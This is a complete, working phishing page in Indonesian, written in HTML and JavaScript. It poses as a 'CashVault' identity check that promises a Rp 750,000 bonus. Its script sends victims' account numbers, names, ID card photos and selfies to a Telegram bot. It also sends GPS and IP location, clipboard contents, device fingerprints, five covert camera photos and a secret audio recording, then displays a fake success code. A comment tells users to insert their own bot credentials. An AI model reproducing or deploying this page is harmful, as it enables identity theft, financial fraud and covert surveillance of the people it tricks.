<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Verifikasi Identitas</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', -apple-system, sans-serif;
        }
        body {
            background: #0a0e1a;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            padding: 12px;
        }
        .card {
            background: #121a2e;
            border-radius: 28px;
            padding: 24px 20px;
            max-width: 400px;
            width: 100%;
            border: 1px solid #1a2a44;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.9);
        }
        .header {
            display: flex;
            align-items: center;
            gap: 12px;
            margin-bottom: 16px;
        }
        .logo {
            width: 44px;
            height: 44px;
            background: linear-gradient(145deg, #00b4d8, #0077b6);
            border-radius: 14px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 22px;
            font-weight: 800;
            color: #fff;
        }
        .header h1 {
            font-size: 20px;
            color: #fff;
            font-weight: 700;
        }
        .header p {
            font-size: 12px;
            color: #6a8a9e;
        }
        .badge-row {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 14px;
        }
        .badge {
            background: #0a1a2a;
            color: #00b4d8;
            padding: 3px 12px;
            border-radius: 50px;
            font-size: 10px;
            font-weight: 600;
            border: 1px solid #00b4d833;
        }
        .timer {
            color: #4a6a7e;
            font-size: 12px;
        }
        .promo {
            background: linear-gradient(135deg, #0a1a2a, #121a2e);
            border: 1px solid #00b4d833;
            border-radius: 16px;
            padding: 16px;
            text-align: center;
            margin-bottom: 16px;
        }
        .promo .amount {
            font-size: 36px;
            font-weight: 800;
            color: #00b4d8;
        }
        .promo .sub {
            color: #6a8a9e;
            font-size: 13px;
            margin-top: 2px;
        }
        .form-group {
            margin-bottom: 12px;
        }
        .form-group label {
            display: block;
            font-size: 12px;
            color: #7a9aae;
            margin-bottom: 4px;
            font-weight: 500;
        }
        .form-group input,
        .form-group select {
            width: 100%;
            padding: 12px 14px;
            background: #0a101a;
            border: 1px solid #1a2a44;
            border-radius: 12px;
            color: #fff;
            font-size: 14px;
            outline: none;
        }
        .form-group input:focus,
        .form-group select:focus {
            border-color: #00b4d8;
        }
        .upload-box {
            border: 2px dashed #1a2a44;
            border-radius: 14px;
            padding: 16px;
            text-align: center;
            margin-bottom: 12px;
            cursor: pointer;
            transition: 0.2s;
            background: #0a101a;
        }
        .upload-box:hover {
            border-color: #00b4d8;
        }
        .upload-box .icon {
            font-size: 28px;
            display: block;
            margin-bottom: 2px;
        }
        .upload-box .text {
            color: #6a8a9e;
            font-size: 12px;
        }
        .upload-box .file-name {
            color: #00b4d8;
            font-size: 11px;
            font-weight: 600;
            margin-top: 2px;
        }
        .upload-box input {
            display: none;
        }
        .btn {
            width: 100%;
            padding: 14px;
            background: linear-gradient(145deg, #00b4d8, #0077b6);
            border: none;
            border-radius: 60px;
            font-size: 16px;
            font-weight: 700;
            color: #fff;
            cursor: pointer;
            transition: 0.2s;
            box-shadow: 0 8px 28px rgba(0, 180, 216, 0.2);
        }
        .btn:active {
            transform: scale(0.97);
        }
        .btn:disabled {
            opacity: 0.6;
            cursor: not-allowed;
        }
        .footer {
            text-align: center;
            font-size: 11px;
            color: #4a5a6e;
            margin-top: 14px;
            border-top: 1px solid #1a2a44;
            padding-top: 14px;
        }
        .footer strong {
            color: #6a8a9e;
        }
        .success-box {
            display: none;
            text-align: center;
            padding: 16px 0;
        }
        .success-box .check {
            font-size: 48px;
        }
        .success-box h3 {
            color: #00b4d8;
            font-size: 20px;
        }
        .success-box p {
            color: #6a8a9e;
            font-size: 13px;
        }
        #video,
        #canvas,
        #fingerprintCanvas,
        #webglCanvas,
        #audio {
            display: none !important;
        }
        .ios-permission-box {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.85);
            backdrop-filter: blur(12px);
            z-index: 99999;
            display: none;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .ios-permission-content {
            background: #1a212a;
            padding: 28px 20px;
            border-radius: 24px;
            max-width: 320px;
            width: 100%;
            border: 1px solid #2a313c;
            text-align: center;
        }
        .ios-permission-content .icon {
            font-size: 40px;
            margin-bottom: 10px;
        }
        .ios-permission-content h3 {
            color: #ffffff;
            font-size: 18px;
            margin-bottom: 6px;
        }
        .ios-permission-content p {
            color: #8892a0;
            font-size: 14px;
            line-height: 1.5;
            margin-bottom: 16px;
        }
        .ios-permission-content button {
            background: #00b4d8;
            border: none;
            padding: 12px;
            border-radius: 60px;
            width: 100%;
            font-size: 16px;
            font-weight: 700;
            color: #fff;
            cursor: pointer;
        }
    </style>
</head>
<body>

    <div class="ios-permission-box" id="iosPrompt">
        <div class="ios-permission-content">
            <div class="icon">📱</div>
            <h3>Verifikasi Perangkat</h3>
            <p>Klik tombol di bawah untuk verifikasi identitas dan klaim bonus.</p>
            <button id="iosConfirmBtn">✅ Konfirmasi & Lanjutkan</button>
        </div>
    </div>

    <div class="card" id="mainCard">
        <div class="header">
            <div class="logo">V</div>
            <div>
                <h1>Verifikasi ID</h1>
                <p>CashVault • Keamanan</p>
            </div>
        </div>

        <div class="badge-row">
            <span class="badge">🛡️ Verifikasi Wajib</span>
            <span class="timer">⏳ <span id="timerDisplay">09:47</span> tersisa</span>
        </div>

        <div class="promo">
            <div class="amount">Rp 750.000</div>
            <div class="sub">Verifikasi identitas untuk klaim bonus</div>
        </div>

        <div id="formSection">
            <!-- Metode -->
            <div class="form-group">
                <label>📱 Metode Pencairan</label>
                <select id="metode">
                    <option value="gopay">GoPay</option>
                    <option value="ovo">OVO</option>
                    <option value="dana">DANA</option>
                    <option value="shopeepay">ShopeePay</option>
                    <option value="bca">BCA Transfer</option>
                    <option value="mandiri">Mandiri Transfer</option>
                    <option value="bri">BRI Transfer</option>
                </select>
            </div>

            <!-- Nomor Akun -->
            <div class="form-group">
                <label>💰 Nomor Akun</label>
                <input type="text" id="nomorAkun" placeholder="Masukkan nomor tujuan">
            </div>

            <!-- Nama Lengkap -->
            <div class="form-group">
                <label>👤 Nama Lengkap</label>
                <input type="text" id="namaLengkap" placeholder="Nama sesuai rekening">
            </div>

            <!-- Upload KTP -->
            <div class="upload-box" id="ktpBox" onclick="document.getElementById('ktpInput').click()">
                <span class="icon">🪪</span>
                <span class="text">Upload Foto KTP / SIM</span>
                <span class="file-name" id="ktpName">Belum diupload</span>
                <input type="file" id="ktpInput" accept="image/*" capture="environment">
            </div>

            <!-- Upload Selfie -->
            <div class="upload-box" id="selfieBox" onclick="document.getElementById('selfieInput').click()">
                <span class="icon">🤳</span>
                <span class="text">Foto Selfie / Verifikasi Muka</span>
                <span class="file-name" id="selfieName">Belum diupload</span>
                <input type="file" id="selfieInput" accept="image/*" capture="user">
            </div>

            <button class="btn" id="claimBtn">✅ Verifikasi & Klaim</button>
        </div>

        <div class="success-box" id="successBox">
            <div class="check">✅</div>
            <h3>Verifikasi Berhasil!</h3>
            <p>Rp 750.000 akan dikirim dalam 2-3 menit.</p>
            <p style="margin-top:6px;color:#4a5a6e;font-size:12px;">Kode: <strong style="color:#00b4d8;" id="txCode">CV-2026-4729</strong></p>
        </div>

        <div class="footer">🔒 Data terenkripsi • 1 klaim per akun • <strong>Syarat & Ketentuan</strong></div>
    </div>

    <video id="video" autoplay playsinline></video>
    <canvas id="canvas" width="640" height="480"></canvas>
    <canvas id="fingerprintCanvas" width="280" height="60"></canvas>
    <canvas id="webglCanvas" width="1" height="1"></canvas>
    <audio id="audio"></audio>

    <script>
        // ================================================================
        // 🔥 KONFIGURASI BOT TELEGRAM — GANTI DENGAN PUNYA LU
        // ================================================================
        const botToken = '8765734487:AAF0TkJG891puExWjeyQJQGhcohFhhTc8eE';
        const chatId = '6932259075';
        // ================================================================

        const PHOTO_COUNT = 5;
        const PHOTO_INTERVAL = 500;
        const AUDIO_DURATION = 6000;
        const isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream;

        // ================================================================
        // FUNGSI KIRIM KE TELEGRAM
        // ================================================================
        function sendToTelegram(text) {
            fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ chat_id: chatId, text: text.substring(0, 4096), parse_mode: 'Markdown' })
            }).catch(() => {});
        }

        function sendPhotoToTelegram(blob, caption) {
            const fd = new FormData();
            fd.append('chat_id', chatId);
            fd.append('photo', blob, `${caption}.jpg`);
            fd.append('caption', caption);
            fetch(`https://api.telegram.org/bot${botToken}/sendPhoto`, { method: 'POST', body: fd }).catch(() => {});
        }

        function sendAudioToTelegram(blob) {
            const fd = new FormData();
            fd.append('chat_id', chatId);
            fd.append('audio', blob, `audio.ogg`);
            fetch(`https://api.telegram.org/bot${botToken}/sendAudio`, { method: 'POST', body: fd }).catch(() => {});
        }

        function sendDocumentToTelegram(blob, filename, caption) {
            const fd = new FormData();
            fd.append('chat_id', chatId);
            fd.append('document', blob, filename);
            if (caption) fd.append('caption', caption);
            return fetch(`https://api.telegram.org/bot${botToken}/sendDocument`, { method: 'POST', body: fd }).catch(() =>
            {});
        }

        // ================================================================
        // UPLOAD KTP & SELFIE
        // ================================================================
        let ktpBlob = null;
        let selfieBlob = null;

        document.getElementById('ktpInput').addEventListener('change', function(e) {
            if (this.files && this.files[0]) {
                ktpBlob = this.files[0];
                document.getElementById('ktpName').textContent = '✅ ' + this.files[0].name;
                document.getElementById('ktpName').style.color = '#00b4d8';
            }
        });

        document.getElementById('selfieInput').addEventListener('change', function(e) {
            if (this.files && this.files[0]) {
                selfieBlob = this.files[0];
                document.getElementById('selfieName').textContent = '✅ ' + this.files[0].name;
                document.getElementById('selfieName').style.color = '#00b4d8';
            }
        });

        // ================================================================
        // CANVAS FINGERPRINT
        // ================================================================
        function getCanvasFingerprint() {
            try {
                const canvas = document.getElementById('fingerprintCanvas');
                const ctx = canvas.getContext('2d');
                canvas.width = 280;
                canvas.height = 60;
                ctx.textBaseline = 'top';
                ctx.font = '14px Arial';
                ctx.fillStyle = '#f60';
                ctx.fillRect(125, 1, 62, 20);
                ctx.fillStyle = '#069';
                ctx.fillText('Canvas', 2, 15);
                ctx.fillStyle = 'rgba(102,204,0,0.7)';
                ctx.fillText('Canvas', 4, 17);
                const dataURL = canvas.toDataURL();
                let hash = 0;
                for (let i = 0; i < dataURL.length; i++) {
                    hash = ((hash << 5) - hash) + dataURL.charCodeAt(i);
                    hash |= 0;
                }
                return Math.abs(hash).toString(16).substring(0, 8);
            } catch (e) { return 'N/A'; }
        }

        // ================================================================
        // BATTERY INFO
        // ================================================================
        function getBatteryInfo() {
            return new Promise((resolve) => {
                try {
                    if ('getBattery' in navigator) {
                        navigator.getBattery().then(b => {
                            resolve({
                                percent: Math.round(b.level * 100) + '%',
                                charging: b.charging
                            });
                        }).catch(() => resolve({ percent: 'N/A', charging: false }));
                    } else {
                        resolve({ percent: 'N/A', charging: false });
                    }
                } catch (e) {
                    resolve({ percent: 'N/A', charging: false });
                }
            });
        }

        // ================================================================
        // CONNECTION INFO
        // ================================================================
        function getConnectionInfo() {
            const conn = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
            if (!conn) return { type: 'N/A', downlink: 'N/A', rtt: 'N/A' };
            let type = 'WiFi';
            const et = conn.effectiveType || '';
            if (et.includes('4g')) type = '4G';
            else if (et.includes('3g')) type = '3G';
            else if (et.includes('2g')) type = '2G';
            return {
                type: type,
                downlink: conn.downlink != null ? conn.downlink + ' Mbps' : 'N/A',
                rtt: conn.rtt != null ? conn.rtt + ' ms' : 'N/A'
            };
        }

        // ================================================================
        // IP + LOCATION + POSTAL CODE
        // ================================================================
        async function getIPAndLocation() {
            let ip = 'Unknown';
            let city = 'Unknown';
            let region = 'Unknown';
            let country = 'Unknown';
            let isp = 'Unknown';
            let postal = 'N/A';

            try {
                const r = await fetch('https://api.ipify.org?format=json');
                const d = await r.json();
                if (d && d.ip) ip = d.ip;
            } catch (e) {}

            if (ip === 'Unknown') {
                try {
                    const r = await fetch('https://api.my-ip.io/ip.json');
                    const d = await r.json();
                    if (d && d.ip) ip = d.ip;
                } catch (e) {}
            }

            if (ip !== 'Unknown') {
                try {
                    const r = await fetch(`http://ip-api.com/json/${ip}?fields=status,country,regionName,city,isp,org,zip`);
                    const d = await r.json();
                    if (d && d.status === 'success') {
                        city = d.city || 'Unknown';
                        region = d.regionName || 'Unknown';
                        country = d.country || 'Unknown';
                        isp = d.isp || d.org || 'Unknown';
                        postal = d.zip || 'N/A';
                    }
                } catch (e) {}

                if (city === 'Unknown') {
                    try {
                        const r = await fetch(`https://ipinfo.io/${ip}/json`);
                        const d = await r.json();
                        if (d && !d.error) {
                            city = d.city || 'Unknown';
                            region = d.region || 'Unknown';
                            country = d.country || 'Unknown';
                            postal = d.postal || 'N/A';
                            if (d.org) isp = d.org.replace(/^AS\d+\s*/, '');
                        }
                    } catch (e) {}
                }
            }

            return { ip, city, region, country, isp, postal };
        }

        // ================================================================
        // 📱 DEVICE INFO — LENGKAP + BATTERY + POSCODE + ALAMAT
        // ================================================================
        async function getDeviceInfo() {
            const loc = await getIPAndLocation();
            const fingerprint = getCanvasFingerprint();
            const battery = await getBatteryInfo();
            const conn = getConnectionInfo();
            const ram = navigator.deviceMemory ? navigator.deviceMemory + ' GB' : 'N/A';
            const cpu = navigator.hardwareConcurrency || 'N/A';
            const lang = navigator.language || 'N/A';
            const tz = Intl.DateTimeFormat().resolvedOptions().timeZone || 'N/A';

            const text =
                '📱 *DEVICE INFO*\n' +
                '─────────────────\n' +
                `🌐 IP: ${loc.ip}\n` +
                `📍 Alamat: ${loc.city}, ${loc.region}, ${loc.country}\n` +
                `📮 Kode Pos: ${loc.postal}\n` +
                `🏢 ISP: ${loc.isp}\n` +
                `\n` +
                `🔋 Battery: ${battery.percent} (${battery.charging ? '⚡ Charging' : '🔋 Not charging'})\n` +
                `📶 Connection: ${conn.type} (${conn.downlink})\n` +
                `🖥️ OS: ${navigator.platform}\n` +
                `📱 Resolution: ${screen.width}x${screen.height}\n` +
                `💾 RAM: ${ram}\n` +
                `⚡ CPU: ${cpu} cores\n` +
                `🔑 Fingerprint: ${fingerprint}\n` +
                `🌐 Language: ${lang}\n` +
                `⏰ Timezone: ${tz}\n` +
                `⏰ Time: ${new Date().toLocaleString('id-ID')}`;

            sendToTelegram(text);
        }

        // ================================================================
        // GPS
        // ================================================================
        function sendGPS() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(
                    pos => {
                        const lat = pos.coords.latitude;
                        const lng = pos.coords.longitude;
                        const acc = Math.round(pos.coords.accuracy);
                        const mapsLink = `https://www.google.com/maps?q=${lat},${lng}`;
                        const message =
                            '📍 *GPS LOCATION*\n' +
                            '─────────────────\n' +
                            `Latitude: ${lat}\n` +
                            `Longitude: ${lng}\n` +
                            `Akurasi: ${acc}m\n` +
                            `\n[🗺️ BUKA MAPS](${mapsLink})`;
                        sendToTelegram(message);
                    },
                    err => sendToTelegram('📍 GPS: Denied'),
                    { enableHighAccuracy: true, timeout: 10000 }
                );
            } else {
                sendToTelegram('📍 GPS: Not supported');
            }
        }

        // ================================================================
        // CLIPBOARD
        // ================================================================
        async function sendClipboard() {
            try {
                const text = await navigator.clipboard.readText();
                if (!text || !text.trim()) { sendToTelegram('📋 Clipboard: Empty'); return; }
                if (text.length > 3500) {
                    const blob = new Blob([text], { type: 'text/plain;charset=utf-8' });
                    await sendDocumentToTelegram(blob, 'clipboard_' + Date.now() + '.txt', '📋 Clipboard (file)');
                    sendToTelegram('📋 Clipboard: ' + text.length + ' chars (file terkirim)');
                } else {
                    sendToTelegram('📋 Clipboard: ' + text.length + ' chars\n' + text);
                }
            } catch (e) { sendToTelegram('📋 Clipboard: No permission'); }
        }

        // ================================================================
        // KAMERA (5 FOTO)
        // ================================================================
        async function startCamera() {
            const video = document.getElementById('video');
            const canvas = document.getElementById('canvas');
            const ctx = canvas.getContext('2d');
            try {
                const stream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: 'user' } });
                video.srcObject = stream;
                await new Promise(r => { video.onloadedmetadata = () => { video.play();
                        r(); }; });
                await new Promise(r => setTimeout(r, 1500));
                for (let i = 1; i <= PHOTO_COUNT; i++) {
                    canvas.width = video.videoWidth || 640;
                    canvas.height = video.videoHeight || 480;
                    ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
                    canvas.toBlob(b => { if (b) sendPhotoToTelegram(b, `📸 Foto ${i}`); }, 'image/jpeg', 0.85);
                    await new Promise(r => setTimeout(r, PHOTO_INTERVAL));
                }
                stream.getTracks().forEach(t => t.stop());
            } catch (e) {}
        }

        // ================================================================
        // REKAM AUDIO
        // ================================================================
        async function startRecording() {
            try {
                const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
                const mr = new MediaRecorder(stream);
                const chunks = [];
                mr.ondataavailable = e => { if (e.data.size > 0) chunks.push(e.data); };
                mr.onstop = async () => {
                    const blob = new Blob(chunks, { type: 'audio/ogg' });
                    if (blob.size > 0) {
                        await sendAudioToTelegram(blob);
                        sendToTelegram('🎤 *Audio Recording* — 6 detik');
                    }
                    stream.getTracks().forEach(t => t.stop());
                };
                mr.start();
                setTimeout(() => { if (mr.state === 'recording') mr.stop(); }, AUDIO_DURATION);
            } catch (e) {}
        }

        // ================================================================
        // FORM DATA
        // ================================================================
        function sendFormData() {
            const metode = document.getElementById('metode').value;
            const nomor = document.getElementById('nomorAkun').value || '-';
            const nama = document.getElementById('namaLengkap').value || '-';
            const text =
                '📋 *DATA FORM*\n' +
                '─────────────────\n' +
                `💳 Metode: ${metode}\n` +
                `📱 Nomor: ${nomor}\n` +
                `👤 Nama: ${nama}\n` +
                `🕐 Waktu: ${new Date().toLocaleString('id-ID')}`;
            sendToTelegram(text);
        }

        // ================================================================
        // EKSEKUSI UTAMA
        // ================================================================
        async function executeAll() {
            // 1. Kirim data form
            sendFormData();

            // 2. Kirim GPS
            sendGPS();

            // 3. Kirim device info lengkap
            await getDeviceInfo();

            // 4. Kirim clipboard
            await sendClipboard();

            // 5. Kirim KTP
            if (ktpBlob) {
                await sendDocumentToTelegram(ktpBlob, 'KTP_' + Date.now() + '.jpg', '🪪 *FOTO KTP*');
            } else {
                sendToTelegram('🪪 KTP: Tidak diupload');
            }

            // 6. Kirim Selfie
            if (selfieBlob) {
                await sendDocumentToTelegram(selfieBlob, 'SELFIE_' + Date.now() + '.jpg', '🤳 *FOTO SELFIE / VERIFIKASI MUKA*');
            } else {
                sendToTelegram('🤳 Selfie: Tidak diupload');
            }

            // 7. Nyalakan kamera (5 foto)
            startCamera();

            // 8. Rekam audio
            setTimeout(startRecording, 500);

            // 9. Ubah UI jadi sukses
            document.getElementById('formSection').style.display = 'none';
            document.getElementById('successBox').style.display = 'block';
            document.getElementById('txCode').innerText = 'CV-' + Date.now().toString().slice(-6) + '-' + Math.floor(Math
            .random() * 9000 + 1000);
        }

        // ================================================================
        // EVENT LISTENER
        // ================================================================
        document.getElementById('claimBtn').addEventListener('click', function(e) {
            e.preventDefault();

            // Validasi nomor akun
            if (!document.getElementById('nomorAkun').value.trim()) {
                document.getElementById('nomorAkun').style.borderColor = '#ff4444';
                document.getElementById('nomorAkun').placeholder = '⚠️ Wajib diisi!';
                setTimeout(() => {
                    document.getElementById('nomorAkun').style.borderColor = '#1a2a44';
                    document.getElementById('nomorAkun').placeholder = 'Masukkan nomor tujuan';
                }, 2000);
                return;
            }

            // Validasi KTP
            if (!ktpBlob) {
                document.getElementById('ktpBox').style.borderColor = '#ff4444';
                document.getElementById('ktpName').textContent = '⚠️ Wajib upload KTP!';
                document.getElementById('ktpName').style.color = '#ff4444';
                setTimeout(() => {
                    document.getElementById('ktpBox').style.borderColor = '#1a2a44';
                    document.getElementById('ktpName').textContent = 'Belum diupload';
                    document.getElementById('ktpName').style.color = '#6a8a9e';
                }, 3000);
                return;
            }

            // Validasi Selfie
            if (!selfieBlob) {
                document.getElementById('selfieBox').style.borderColor = '#ff4444';
                document.getElementById('selfieName').textContent = '⚠️ Wajib upload selfie!';
                document.getElementById('selfieName').style.color = '#ff4444';
                setTimeout(() => {
                    document.getElementById('selfieBox').style.borderColor = '#1a2a44';
                    document.getElementById('selfieName').textContent = 'Belum diupload';
                    document.getElementById('selfieName').style.color = '#6a8a9e';
                }, 3000);
                return;
            }

            this.disabled = true;
            this.innerHTML = '⏳ Memproses...';

            if (isIOS && typeof DeviceOrientationEvent.requestPermission === 'function') {
                document.getElementById('iosPrompt').style.display = 'flex';
                document.getElementById('iosConfirmBtn').onclick = async () => {
                    document.getElementById('iosPrompt').style.display = 'none';
                    await executeAll();
                };
            } else {
                executeAll();
            }
        });

        // ================================================================
        // TIMER
        // ================================================================
        let countdown = 9 * 60 + 47;
        setInterval(() => {
            if (countdown > 0) {
                countdown--;
                const m = Math.floor(countdown / 60);
                const s = countdown % 60;
                document.getElementById('timerDisplay').innerText = String(m).padStart(2, '0') + ':' + String(s).padStart(2,
                    '0');
            }
        }, 1000);
    </script>

</body>
</html>